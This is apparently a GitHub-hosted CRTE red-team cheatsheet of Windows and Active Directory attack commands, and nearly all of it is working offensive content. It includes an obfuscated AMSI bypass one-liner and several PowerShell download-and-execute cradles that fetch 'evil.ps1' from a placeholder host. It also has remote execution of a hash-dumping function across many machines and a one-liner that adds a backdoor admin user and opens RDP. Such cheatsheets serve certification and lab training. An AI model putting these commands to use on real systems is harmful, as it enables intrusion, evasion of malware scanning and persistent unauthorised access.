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0xJs / CRTE-Cheatsheet

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CRTE-Cheatsheet

Summary

General

Access C disk of a computer (check local admin)

ls \\<COMPUTERNAME>\c$

Use this parameter to not print errors powershell

-ErrorAction SilentlyContinue

Rename powershell windows

$host.ui.RawUI.WindowTitle = "<NAME>"

Save Credentials

$creds = get-credential

$password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<USERNAME>', $password)

Find a specific file

Get-Childitem -Path C:\ -Force -Include <FILENAME OR WORD TO SEARCH> -Recurse -ErrorAction SilentlyContinue

Crackmapexec on windows

add python to path variable:
$env:Path += ";c:\python"
$env:Path += ";c:\tools\python"

add the register key if error blablah\DemoDLL_RemoteProcess.vcxproj.filters
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem" /v LongPathsEnabled /t REG_DWORD /d 1 /f

PSSession

Save pssession in variable

$sess = New-PSSession -Credential $creds -ComputerName <IP>

Run commands on machine

Invoke-Commannd -ScriptBlock {<COMMAND>} -Session $sess

Run commands on multiple machines

Invoke-Command –Scriptblock {<COMMAND>} -ComputerName (Get-Content computers.txt)

Load script on machine

Invoke-Commannd -Filepath <PATH TO SCRIPT> -Session $sess

Execute script on multiple machines

Invoke-Command –FilePath script.ps1 -ComputerName (Get-Content computers.txt)

Execute locally loaded function on remote machines:

Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content computers.txt)

Copy item through PSSession

Copy-Item -ToSession $sess -Path <PATH> -Destination <DEST> -verbose

AMSI Bypass

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Invoke-Command -Scriptblock {S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )} $sess

Download and execute cradle

iex (New-Object Net.WebClient).DownloadString('https://xx.xx.xx.xx/payload.ps1')

$ie=New-Object -ComObjectInternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://xx.xx.xx.xx/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

#PSv3 onwards

iex (iwr 'http://xx.xx.xx.xx/evil.ps1')

$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','http://xx.xx.xx.xx/evil.ps1',$false);$h.send();iex
$h.responseText

$wr = [System.NET.WebRequest]::Create("http://xx.xx.xx.xx/evil.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

Add user to local admin and RDP group and enable RDP on firewall

net user <USERNAME> <PASSWORD> /add /Y  && net localgroup administrators <USERNAME> /add && net localgroup "Remote Desktop Users" <USERNAME> /add && reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f && netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

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